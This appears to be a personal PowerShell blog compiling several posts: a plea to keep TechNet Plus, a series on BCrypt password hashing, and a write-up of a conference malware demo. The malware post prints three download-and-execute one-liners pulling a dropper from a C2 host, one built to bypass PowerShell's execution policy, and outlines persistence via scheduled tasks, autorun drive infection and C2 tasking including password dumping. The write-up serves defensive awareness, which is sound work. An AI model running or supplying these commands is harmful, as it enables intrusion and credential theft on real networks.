TechNet Plus

I recently read an open letter form Sean Kearney, writer of the energizedtech.com blog, MVP and all round awesome PowerShell developer, to Steve Ballmer. You can read it here, http://www.energizedtech.com/2013/07/dear-mr-ballmer-please-provide.html.

I just wanted add my own two cents to the discussion around the decision to terminate the TechNet Plus subscriptions.

I can comfortably say, that if it wasn’t for MSDNAA and TechNet subscriptions, I would not be the IT Professional that I am today, if it wasn’t that I have been fortunate enough to have either access to MSDNAA, a TechNet subscription or, lately an MSDN subscription, I really wouldn’t be working on any of the projects or working for any of the companies I have had the pleasure to work on and with.

Almost 10 years ago, I was in Uni, I was lucky enough to be there during the creation of the MSDNAA subscription program. This program gave me access to learn Windows Server 2000 and 2003, Exchange 2003, SQL 2000, Active Directory, Clustering, IIS and so much more. Whilst I had experience in these prior to the MSDNAA program, my experience was limited due to the fact I had to PIRATE the software. Learning something like Active Directory takes time, something a 30 day trial wouldn’t have allowed for. If it wasn’t for the MSDNAA program, I wouldn’t have gotten my first industry job.

Once I got my first job, I got a TechNet subscription, and this is where my own drive and passion allowed me to further develop my skills. Over the years I have had employers, and various others pay for my subscription, I have even payed for it myself, and I know I wouldn’t be here without access to these subscriptions.

Right now because of my access to these subscriptions I have a healthy development and training environment, I have learn and tested so much. If it was not for my lab environment, DirectAccess on Windows Server 2012 would not have been deployed within my Clients environment, I am certain the Microsoft has made a significant amount of money based on the testing performed in my lab environment, far more than the costs of the subscriptions!

MSDN subscriptions can be costly, hence we need to have a cost effective alternative!

Readers, please sign the petition, https://www.change.org/petitions/continue-technet-or-create-an-affordable-alternative-to-msdn,

Mr Ballmer, please reconsider the termination of Technet Plus.

Password Hashing with BCrypt and PowerShell - Part 3

Final remarks on the password hashing.

The code is all up on GitHub, https://github.com/kjacobsen/PSBCrypt

I don't know if any of this has been useful to anyone, but maybe I have explained a little about secure password hashing and helped prevent some poor implementations.

Thank you all for reading this series.

Password Hashing with BCrypt and PowerShell - Part 2

Welcome back. So last time we covered some basics on hashing passwords, this time we will get into some code.

What I like about BCrypt.Net, is that I don’t really need to think to hard about what I am trying to do; all of the hard work has been done for me. It provides us with basically every function we could possibly desire, more importantly, it provides more functions than we really need, to the extent that I feel it provides enough functions for you to make a very poor implementation if you so desired.

In the bCrypt .Net we have the following functions available to us, and in my PowerShell implementation, I have made some of these available to us. In case you wondered, here is the list of methods bCrypt.Net provides:

• GenerateSalt
• HashPassword
• HashString – Alias for HashPassword
• Verify

What is the verify method you ask? Well this is a very cool method. You provide the method a plain text string (someone’s password as input on a login form) and a hash. It will then go off and hash the input, and compare the two, returning true if they do. This method does all the work, it can find the workload factor, the salt and do all the comparisons. All so simple and easy.

So what do my CMDLet’s look like?

This is how I have defined by CMDLets:

• Get-BCryptSalt = GenerateSalt
• Get-BCryptHash = HashPassword
• Test-BCryptHash = Verify

Well let’s cover off how we make bCrypt available to powershell. Firstly we need to add the .net classes/types to the PowerShell environment using the add-type cmdlet. For example:

Add-Type -Path C:\files\bcrypt\BCrypt.Net.dll

Once that has been done, we can go ahead and use the cmdlets.

Here is our salt cmdlet:

And hashing cmdlet:

And the verify cmdlet:

So, lets talk a little about the simple code we are seeing. See the lines like "[bcrypt.net.bcrypt]::hashpassword($InputString, $WorkFactor)", well what we are doing here is calling the hashpassword method, from the class bcrypt, in the .net namespace bcrypt.net. This is simple, because the method is a static method for the class (if it wasn't, we would need an object instance).

Finally the module:

So let's look at some examples of how to use what we have learnt:

Password Hashing with BCrypt and PowerShell - Part 1

So I completed my posts on the SHA hashing work, and a few people have said they really enjoyed it, one person said he liked the work on hashing and was going to use the code for password storage. He got upset when he saw my very angry face, and to be honest, I probably overreacted, but with good reason.

Simply put, you shouldn’t be using SHA and MD5 for password storage, the time has come where it is too simple to build tables of plain text to hashes, allowing for simple lookup attacks against collected hashes. The typical response to this is through the use of salting, but that only buys you some time, and typically takes quite some work to implement. Some people will use a single salt for all their passwords, and this reduces the effectiveness of salting.

The issue with SHA and MD5 is they don’t take into account how powerful computer systems have become, we need to make use of an algorithm that causes a significant amount of computational work. What is even better is an algorithm that we could increase this amount of work as the years went by, keeping those pesky tables at bay!

Well before we talk about the algorithms, let’s talk about workload factors! A work load factor is simply the amount of work that will be done for the generation of a hash of a plaintext. Increase the workload factor and the computer needs to do more.

Here is an example. We have an algorithm that when we use a workload factor for 10, it takes 10 seconds to generate the hash of a plain text, if we knew there were 1000000 possible plain texts, then to generate all the plaintext to hash maps would take 10 million seconds or 155 days. If we up that workload factor to 1000, then it will take 1000 million seconds or 31 years!

So what hashing algorithms allow us to set the workload? Well, here is a two major ones:

• BCrypt
• PBKDF2

Both of these have a strong cryptographic heritage, both still use salting, they are well known and proven. Today, I am going to be using BCrypt, in particular the BCrypt.net, which is just a C# port of jBCrypt.

One final thing to point out, and this isn’t an algorithm design feature, more an implementation feature. A good implementation of a password hashing algorithm should allow us to have some users on one workload, and other users on another. A good implementation should allow us to have hashes of different workloads present in our system, without a huge effort to test a plain text against a hash. The BCrypt.net library outputs hashes of the following form:

$2a$10$GlCs1CH.75vYC69FY4OhSu8SyFY7HjEXg0eFw.DW.geFcgzJdACGy

I am not going to go into a full analysis of the string, but there is a few things to point out. The string will always start with $2a$, then the workload factor (here the default of 10), followed by another $, then the salt and the actual hash value. If I don’t specify a salt when generating a hash, the salt part of this string will change each time I call the hashing method!

Should we specify the salt? Should we specify the same salt for all users? The Answer is simply, no! If we do that, we can’t easily change it if needed, also, we are making things easier for the attackers. If we use the same salt, then if two users have the same password, they will have the same hash. Each user needs their own salt.

It should also be noted that the workload influences the salt, our workload defines the salt. If we want to be able to change the workload factor on the fly, we need independent salting. This is important to remember: Workload Factor makes salt which when combined with our input value becomes our hash value.

Let’s look at another example, here we are using unique salts, and a dynamic work load factor. To begin with, the workload factor is 5, Bob comes along, selecting a password of: “let me in”. The resulting hash is:

$2a$05$d5YcRI8p6XyG8jS3evIzPO81aNWDHMDqHW5Z.GjE.UI1AG8bWOxTe.

Now Alice comes along, she also uses the same password, her hash is:

$2a$05$5h7mDpuP2Zbutlw62CMgae98aPF/1yq3amz8bLrm1ILGXOw.vf5x6

The sysadmins then device to up the level of security, increasing the workload to 6. Even decides to use the same password, except this time, her hash is:

$2a$06$VJbcCHiU3tGIQNEL3MyKzeqTf2J6a50RaVaLcdKwwk7Xc7VzRR7la

as we can see, her workload factor has increased. Note at this point, we have bob and Alice still on a work load factor of 5, only eve is using a factor of 6! If we are smart, we can have these users’ password hashes residing side by side.

Well that is it for Part 1, see you next time in Part 2.

PowerShell Malware

I was originally planning to publish this blog post in a few weeks’ time, once I had covered some more PowerShell basics however; things have forced me to proceed sooner.

Sophos on the Naked Security Blog posted an article on some ransomware written in PowerShell, which was then written about on LifeHacker; from there my inbox received numerous emails. I felt compelled at this point to write about my PowerShell Malware.

Back in December, I did a presentation at Infrastructure Saturday titled Malware, What! The aim of the presentation was to show IT Professionals how bad guys can get into their networks, and then some things that they can do once they get in. The situation was that of a former employee going rogue and wanting to cause major embarrassment to his former employer, boss, and teammates.

I used some very simple social engineering attacks for the attacker to get a foothold and install a very simple piece of malware. With the simple malware, the attacker obtains domain administrator credentials, gains administrative access to a domain controller and finally dumps the hashes in the Active Directory database then uses CloudCracker to crack those. I finished the session with some HID hacking.

The one important thing was that the simple malware used, written by myself, was entirely in PowerShell. Why did I use PowerShell? Firstly, I wanted to show IT Professionals, in a simple way, what the inner workings of a piece of malware might look like. If IT Professionals saw some simple code that went off to a remote C2 server, downloaded a set of instructions, and executed each one, then they might start to come up with some strategies to protect their organisations. Another reason to use PowerShell is that it honestly makes a great platform for a backdoor. Microsoft made PowerShell as a platform for Administrators to manage large fleets of computers, or in another view, for bot net/malicious users to manage large fleets of infected computers.

One other thing I want to cover before I start showing you more of the actual malware, I wanted to point out that in my demonstration, the scripts were all digitally signed, the cert performing the signing was trusted by all of the computers in the victims network. For safety, I used a certificate issued by a private CA I created (and like the rest of the C2 infrastructure have taken down), but in real life, it could easily have been a valid third part certificate. So much malware are digitally signed, and I wanted to continue this theme, besides, it allows us to bypass some of PowerShell’s built in security.

So how did my malware work? The malware has several parts, a dropper “Infect-WebPC.ps1”, the code which will go off and talk to the C2 infrastructure <>…

Let us look at the infection of a user’s computer. In my example organisation, everyone was running Windows 7, with UAC off and with users running as local admin, much like a large number of organisations. This is a popular configuration for software developers.

In my presentation, the attacker tricked users into running one of three commands:

1.

@powershell -NoProfile -ExecutionPolicy unrestricted -Command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');c:\programdata\infect-webpc.ps1"

2.

@powershell -noprofile -Command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');c:\programdata\infect-webpc.ps1"

3.

@powershell -noprofile -command "$wc = new-object net.webclient; $wc.Downloadfile('https://candc.cloudapp.net/webinfect/Infect-WebPC.ps1','c:\programdata\infect-webpc.ps1');$exp = '';get-content c:\programdata\infect-webpc.ps1 | foreach {$_.trim()} | where-object {!$_.startswith('#')} | foreach { if ($_.startswith('{')) { $exp=$exp+$_ } else { $exp = $exp + ';' + $_}};invoke-expression $exp"

The first will work against any user whose PowerShell execution policy is the set to the default. All we are doing is asking PowerShell to use the .Net frameworks WebClient object to download our PowerShell dropper script and then execute it. Notice here we specify the PowerShell’s session execution policy to unrestricted.

The second is actually simpler than the first, and will work whenever the execution policy set to “RemoteSigned” or “AllSigned”, other than that, it is the same as the first one.

The third is the kicker; this one BYPASSES the restricted mode execution policy setting. Normally no scripts would run, yet in this case, I can get my dropper to run. How?? Well, we start by downloading the dropper script as we previously did, but we do some other things instead of simply executing the script. This time we read the script, and then turn the nicely formatted script into a PowerShell “one-liner”, from there we use invoke-expression to run that one-liner. Now we are running our malicious code, bypassing that lovely security policy.

So far, things are simple; now let us look at the dropper's code:

Simply put, it will see if the system is already infected, or if my “don’t infect flag file” is present; if they are, then it does not do anything; otherwise, it runs the following steps:

1. 1.       Downloads the scripts needed: Infect-PC.ps1, Infect-Drives.ps1, invoke-candc.ps1
2. 2.       Downloads two windows task scheduler xml definition files: infectdrives.xml and invokecandc.xml
3. 3.       Imports the two scheduled tasks using schtasks.exe
4. 4.       Runs the two scheduled tasks using schtasks.exe

All very simple for a dropper script.

Now what are the two scheduled tasks? The first is infect-drives.ps1, this runs every 5 minutes and simply put, will drop an autorun.ini file and the infect-pc.ps1 script on every drive (remote or network share) that it gets its hands on to. It is a simple drive infector. I was going to show this off during my presentation, but ran out of time.

The other script, invoke-candc.ps1, and runs every 30 minutes, this script is more interesting than the others are, as it performs most of the workload. The code looks like:

The invoke-candc.ps1 script performs the following steps:

1. 1.       Creates a file containing the running process and installed services, it then uploads this to the C2 server
2. 2.       Downloads a list of tasks to be completed from the C2 server
3. 3.       Reads a file containing the id numbers of previously run tasks
4. 4.       From the task list from the C2 server, it filters out any tasks it has previously run, or any task that has a hostname listed which isn’t it
5. 5.       It will then executes the remaining tasks, and if it completes successfully, logs the task number to a file

Tasks can be anything, from a PowerShell expression, script or any windows executable. In the demo, I used a mixture including:

• Download and upload files
• Download PwdumpX and other password dump tools
• Run PowerShell Scripts

As you can see, it is all very simple.

I have the code up on GitHub, and the slides with my presentation notes are here. The C2 server is down, and will remain that way.